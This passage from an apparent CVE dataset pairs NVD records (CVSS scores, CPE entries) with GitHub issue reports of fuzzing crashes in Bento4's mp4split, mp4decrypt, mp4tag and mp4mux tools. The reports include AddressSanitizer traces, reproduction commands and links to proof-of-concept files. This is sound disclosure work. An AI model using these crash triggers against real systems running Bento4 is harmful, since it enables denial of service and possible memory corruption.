clang++ 12.0.1
Bento4 master branch(5b7cc25) && Bento4 release version([1.6.0-639](https://www.bok.net/Bento4/binaries/Bento4-SDK-1-6-0-639.x86_64-unknown-linux.zip))
# Credit
Xudong Cao ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Mengyue Feng ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/))
Thank you for your time!
|
Detected memory leaks in mp42hls
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/768/comments
| 0 |
2022-09-21T16:36:04Z
|
2023-06-26T05:25:33Z
|
https://github.com/axiomatic-systems/Bento4/issues/768
| 1,381,208,895 | 768 |
CVE-2022-41425
|
2022-10-03T14:15:23.473
|
Bento4 v1.6.0-639 was discovered to contain a segmentation violation via the AP4_Processor::ProcessFragments function in mp4decrypt.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/772"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/772
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
# Summary
Hi there,
These are some faults that maybe lead to serious consequences in mp4xx, the version of Bento4 is the latest (the newest master branch) and the operation system is Ubuntu 18.04.6 LTS (docker), these binary-crashes with the following.
# Bug1
Detected memory leaks in mp4spilt:
```
root@32345fj4sds:/fuzz-mp4split/mp4split# ./mp4split --video ../out/crashes/poc_split_1
--video option specified, but no video track found
=================================================================
==1889275==ERROR: LeakSanitizer: detected memory leaks
Indirect leak of 592 byte(s) in 2 object(s) allocated from:
#0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x462e2f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462e2f)
#3 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
#4 0x490c11 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x490c11)
Indirect leak of 256 byte(s) in 1 object(s) allocated from:
#0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x45904a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x45904a)
#3 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
#4 0x46094f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x46094f)
#5 0x4c4b30 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c4b30)
#6 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
#7 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
#8 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 224 byte(s) in 7 object(s) allocated from:
#0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
#3 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
#4 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 192 byte(s) in 2 object(s) allocated from:
#0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
#3 0x46094f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x46094f)
#4 0x4c4b30 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c4b30)
#5 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
#6 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
#7 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 176 byte(s) in 2 object(s) allocated from:
#0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x46094f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x46094f)
#3 0x4c4b30 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c4b30)
#4 0x4c6558 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/fuzz-mp4split/mp4split/mp4split+0x4c6558)
#5 0x40abba in main (/fuzz-mp4split/mp4split/mp4split+0x40abba)
#6 0x7f88d878dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
…… ……
Indirect leak of 24 byte(s) in 1 object(s) allocated from:
#0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4bdd4d in AP4_ElstAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4split/mp4split/mp4split+0x4bdd4d)
#3 0x45831c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x45831c)
#4 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
#5 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
#6 0x48e726 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x48e726)
#7 0x45dc8c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x45dc8c)
#8 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
#9 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
#10 0x490c11 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x490c11)
Indirect leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x8c7670 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f88d8e08297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x771319 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) (/fuzz-mp4split/mp4split/mp4split+0x771319)
#3 0x539cf7 in AP4_InitialObjectDescriptor::AP4_InitialObjectDescriptor(AP4_ByteStream&, unsigned char, unsigned int, unsigned int) (/fuzz-mp4split/mp4split/mp4split+0x539cf7)
#4 0x7713f7 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) (/fuzz-mp4split/mp4split/mp4split+0x7713f7)
#5 0x4e9d46 in AP4_IodsAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4split/mp4split/mp4split+0x4e9d46)
#6 0x4558fa in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x4558fa)
#7 0x462a0f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4split/mp4split/mp4split+0x462a0f)
#8 0x48ef27 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4split/mp4split/mp4split+0x48ef27)
#9 0x490c11 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4split/mp4split/mp4split+0x490c11)
SUMMARY: AddressSanitizer: 2750 byte(s) leaked in 39 allocation(s).
```
# Bug2
SEGV on unknown address 0x000000000028 in mp4decrypt:
```
root@23435332df4:/fuzz-mp4decrypt/mp4decrypt# ./mp4decrypt ../out/crashes/poc_decrypt_1 /dev/null
WARNING: atom serialized to fewer bytes than declared size
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2367709==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000028 (pc 0x0000005da294 bp 0x7ffcee6b84c0 sp 0x7ffcee6b6b60 T0)
==2367709==The signal is caused by a READ memory access.
==2367709==Hint: address points to the zero page.
#0 0x5da294 in AP4_Processor::ProcessFragments(AP4_MoovAtom*, AP4_List<AP4_AtomLocator>&, AP4_ContainerAtom*, AP4_SidxAtom*, unsigned long long, AP4_ByteStream&, AP4_ByteStream&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5da294)
#1 0x5f795d in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5f795d)
#2 0x414e8b in main (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x414e8b)
#3 0x7fdba0338c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#4 0x407b69 in _start (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x407b69)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5da294) in AP4_Processor::ProcessFragments(AP4_MoovAtom*, AP4_List<AP4_AtomLocator>&, AP4_ContainerAtom*, AP4_SidxAtom*, unsigned long long, AP4_ByteStream&, AP4_ByteStream&)
==2367709==ABORTING
```
# Bug3
Detected memory leaks in mp4mux:
```
root@wha446aq:/# ./Bento4/cmakebuild/mp4mux --track h264:poc_mp4mux_1 /dev/null
ERROR: Feed() failed (-10)
=================================================================
==17429==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 148 byte(s) in 1 object(s) allocated from:
#0 0x4f5ce8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
#1 0x52d6b2 in AP4_AvcFrameParser::Feed(unsigned char const*, unsigned int, AP4_AvcFrameParser::AccessUnitInfo&, bool) (/Bento4/cmakebuild/mp4mux+0x52d6b2)
SUMMARY: AddressSanitizer: 148 byte(s) leaked in 1 allocation(s).
```
# POC
[Bug_1_POC.zip](https://github.com/axiomatic-systems/Bento4/files/9635069/Bug_1_POC.zip)
[Bug_2_POC.zip](https://github.com/axiomatic-systems/Bento4/files/9635073/Bug_2_POC.zip)
[Bug_3_POC.zip](https://github.com/axiomatic-systems/Bento4/files/9635075/Bug_3_POC.zip)
# Environment
Ubuntu 18.04.6 LTS (docker)
clang 12.0.1
clang++ 12.0.1
Bento4 master branch(5b7cc25) && Bento4 release version([1.6.0-639](https://www.bok.net/Bento4/binaries/Bento4-SDK-1-6-0-639.x86_64-unknown-linux.zip))
# Credit
Xudong Cao ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/))
Yuhang Huang ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Jiayuan Zhang ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Thank you for your time!
|
Some vulnerabilities about mp4xx can cause serious errors
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/772/comments
| 0 |
2022-09-23T15:37:03Z
|
2023-06-26T05:24:50Z
|
https://github.com/axiomatic-systems/Bento4/issues/772
| 1,383,983,547 | 772 |
CVE-2022-41428
|
2022-10-03T14:15:24.697
|
Bento4 v1.6.0-639 was discovered to contain a heap overflow via the AP4_BitReader::ReadBits function in mp4mux.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/773"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/773
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
# Summary
Hello, I found three heap buffer overflow bugs in AP4_Atom::TypeFromString(char const*), AP4_BitReader::ReadBit() and AP4_BitReader::ReadBits(unsigned int). They come from mp4tag and mp4mux, respectively.
# Bug1
Heap-buffer-overflow on address 0x602000000332 in mp4tag:
```
root@728d9sls452:/fuzz-mp4tag/mp4tag# ./mp4tag --remove 1 ../out/crashes/mp4tag_poc_1 /dev/null
=================================================================
==1647110==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000332 at pc 0x000000468f25 bp 0x7fff3510c600 sp 0x7fff3510c5f8
READ of size 1 at 0x602000000332 thread T0
#0 0x468f24 in AP4_Atom::TypeFromString(char const*) (/fuzz-mp4tag/mp4tag/mp4tag+0x468f24)
#1 0x755566 in AP4_MetaData::Entry::FindInIlst(AP4_ContainerAtom*) const (/fuzz-mp4tag/mp4tag/mp4tag+0x755566)
#2 0x75a3f2 in AP4_MetaData::Entry::RemoveFromFileIlst(AP4_File&, unsigned int) (/fuzz-mp4tag/mp4tag/mp4tag+0x75a3f2)
#3 0x42fc2c in RemoveTag(AP4_File*, AP4_String&, bool) (/fuzz-mp4tag/mp4tag/mp4tag+0x42fc2c)
#4 0x418531 in main (/fuzz-mp4tag/mp4tag/mp4tag+0x418531)
#5 0x7fdb89b2ec86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#6 0x407f09 in _start (/fuzz-mp4tag/mp4tag/mp4tag+0x407f09)
0x602000000332 is located 0 bytes to the right of 2-byte region [0x602000000330,0x602000000332)
allocated by thread T0 here:
#0 0x996920 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fdb8a1a9297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x418531 in main (/fuzz-mp4tag/mp4tag/mp4tag+0x418531)
#3 0x7fdb89b2ec86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/fuzz-mp4tag/mp4tag/mp4tag+0x468f24) in AP4_Atom::TypeFromString(char const*)
Shadow bytes around the buggy address:
0x0c047fff8010: fa fa fd fd fa fa 04 fa fa fa fd fd fa fa 00 05
0x0c047fff8020: fa fa 01 fa fa fa 01 fa fa fa fd fa fa fa 03 fa
0x0c047fff8030: fa fa fd fa fa fa 06 fa fa fa 00 fa fa fa fd fa
0x0c047fff8040: fa fa 04 fa fa fa fd fd fa fa fd fa fa fa 01 fa
0x0c047fff8050: fa fa fd fa fa fa 00 00 fa fa 05 fa fa fa 00 00
=>0x0c047fff8060: fa fa 02 fa fa fa[02]fa fa fa 05 fa fa fa fa fa
0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1647110==ABORTING
```
# Bug2
Heap-buffer-overflow on address 0x6020000000f8 in mp4mux (AP4_BitReader::ReadBits):
```
root@23iq42wasf35:/fuzz-mp4mux/mp4mux# \./mp4mux --track h264:../out/crashes/id\:000045\,sig\:06\,src\:000002\,op\:int32\,pos\:33\,val\:\+0\,470985 /dev/null
=================================================================
==2473731==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000f8 at pc 0x000000649cb8 bp 0x7ffced185f90 sp 0x7ffced185f88
READ of size 1 at 0x6020000000f8 thread T0
#0 0x649cb7 in AP4_BitReader::ReadBits(unsigned int) (/fuzz-mp4mux/mp4mux/mp4mux+0x649cb7)
#1 0x4d6040 in ReadGolomb(AP4_BitReader&) (/fuzz-mp4mux/mp4mux/mp4mux+0x4d6040)
#2 0x4d6ef9 in AP4_AvcFrameParser::ParsePPS(unsigned char const*, unsigned int, AP4_AvcPictureParameterSet&) (/fuzz-mp4mux/mp4mux/mp4mux+0x4d6ef9)
#3 0x4f01dd in AP4_AvcFrameParser::Feed(unsigned char const*, unsigned int, AP4_AvcFrameParser::AccessUnitInfo&, bool) (/fuzz-mp4mux/mp4mux/mp4mux+0x4f01dd)
#4 0x4ecbf1 in AP4_AvcFrameParser::Feed(void const*, unsigned int, unsigned int&, AP4_AvcFrameParser::AccessUnitInfo&, bool) (/fuzz-mp4mux/mp4mux/mp4mux+0x4ecbf1)
#5 0x4349a5 in main (/fuzz-mp4mux/mp4mux/mp4mux+0x4349a5)
#6 0x7fb87db03c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#7 0x407df9 in _start (/fuzz-mp4mux/mp4mux/mp4mux+0x407df9)
0x6020000000f8 is located 0 bytes to the right of 8-byte region [0x6020000000f0,0x6020000000f8)
allocated by thread T0 here:
#0 0xa84ba0 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fb87e17e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4f01dd in AP4_AvcFrameParser::Feed(unsigned char const*, unsigned int, AP4_AvcFrameParser::AccessUnitInfo&, bool) (/fuzz-mp4mux/mp4mux/mp4mux+0x4f01dd)
#3 0x4349a5 in main (/fuzz-mp4mux/mp4mux/mp4mux+0x4349a5)
#4 0x7fb87db03c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/fuzz-mp4mux/mp4mux/mp4mux+0x649cb7) in AP4_BitReader::ReadBits(unsigned int)
Shadow bytes around the buggy address:
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa fd fd
=>0x0c047fff8010: fa fa 00 03 fa fa 06 fa fa fa 06 fa fa fa 00[fa]
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2473731==ABORTING
```
# Bug3
Heap-buffer-overflow on address 0x602000000158 in mp4mux (AP4_BitReader::ReadBit):
```
root@345sadsf12w332:/fuzz-mp4mux/mp4mux# ./mp4mux --track h264:../out/crashes/id\:000001\,sig\:06\,src\:000002\,op\:flip1\,pos\:8\,10085 /dev/null
=================================================================
==1606856==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000158 at pc 0x00000064a882 bp 0x7ffd08428400 sp 0x7ffd084283f8
READ of size 1 at 0x602000000158 thread T0
#0 0x64a881 in AP4_BitReader::ReadBit() (/fuzz-mp4mux/mp4mux/mp4mux+0x64a881)
#1 0x4d6456 in ReadGolomb(AP4_BitReader&) (/fuzz-mp4mux/mp4mux/mp4mux+0x4d6456)
#2 0x4dcd9e in AP4_AvcFrameParser::ParseSliceHeader(unsigned char const*, unsigned int, unsigned int, unsigned int, AP4_AvcSliceHeader&) (/fuzz-mp4mux/mp4mux/mp4mux+0x4dcd9e)
#3 0x4ed906 in AP4_AvcFrameParser::Feed(unsigned char const*, unsigned int, AP4_AvcFrameParser::AccessUnitInfo&, bool) (/fuzz-mp4mux/mp4mux/mp4mux+0x4ed906)
#4 0x4ecbf1 in AP4_AvcFrameParser::Feed(void const*, unsigned int, unsigned int&, AP4_AvcFrameParser::AccessUnitInfo&, bool) (/fuzz-mp4mux/mp4mux/mp4mux+0x4ecbf1)
#5 0x4349a5 in main (/fuzz-mp4mux/mp4mux/mp4mux+0x4349a5)
#6 0x7fd9e3df9c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#7 0x407df9 in _start (/fuzz-mp4mux/mp4mux/mp4mux+0x407df9)
0x602000000158 is located 0 bytes to the right of 8-byte region [0x602000000150,0x602000000158)
allocated by thread T0 here:
#0 0xa84ba0 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fd9e4474297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4ed906 in AP4_AvcFrameParser::Feed(unsigned char const*, unsigned int, AP4_AvcFrameParser::AccessUnitInfo&, bool) (/fuzz-mp4mux/mp4mux/mp4mux+0x4ed906)
#3 0x4349a5 in main (/fuzz-mp4mux/mp4mux/mp4mux+0x4349a5)
#4 0x7fd9e3df9c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/fuzz-mp4mux/mp4mux/mp4mux+0x64a881) in AP4_BitReader::ReadBit()
Shadow bytes around the buggy address:
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa fd fd
0x0c047fff8010: fa fa 00 03 fa fa 06 fa fa fa fd fa fa fa fd fa
=>0x0c047fff8020: fa fa 06 fa fa fa 07 fa fa fa 00[fa]fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1606856==ABORTING
```
# POC
[Bug_1_POC.zip](https://github.com/axiomatic-systems/Bento4/files/9635523/Bug_1_POC.zip)
[Bug-2-POC.zip](https://github.com/axiomatic-systems/Bento4/files/9635529/Bug-2-POC.zip)
[Bug-3-POC.zip](https://github.com/axiomatic-systems/Bento4/files/9635530/Bug-3-POC.zip)
# Environment
Ubuntu 18.04.6 LTS (docker)
clang 12.0.1
clang++ 12.0.1
Bento4 master branch(5b7cc25) && Bento4 release version([1.6.0-639](https://www.bok.net/Bento4/binaries/Bento4-SDK-1-6-0-639.x86_64-unknown-linux.zip))
# Credit
Xudong Cao ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/)), (Zhongguancun Laboratory)
Yuhang Huang ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Jiayuan Zhang ([NCNIPC of China](http://www.nipc.org.cn/)), (Zhongguancun Laboratory)
Hao Zhang ([NCNIPC of China](http://www.nipc.org.cn/)), ([Xidian University](https://www.xidian.edu.cn/))
Thank you for your time!
|
Some heap-buffer-overflow bugs in Bento4
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/773/comments
| 0 |
2022-09-23T16:44:03Z
|
2023-06-12T07:07:50Z
|
https://github.com/axiomatic-systems/Bento4/issues/773
| 1,384,054,185 | 773 |
CVE-2022-41500
|
2022-10-18T23:15:09.380
|
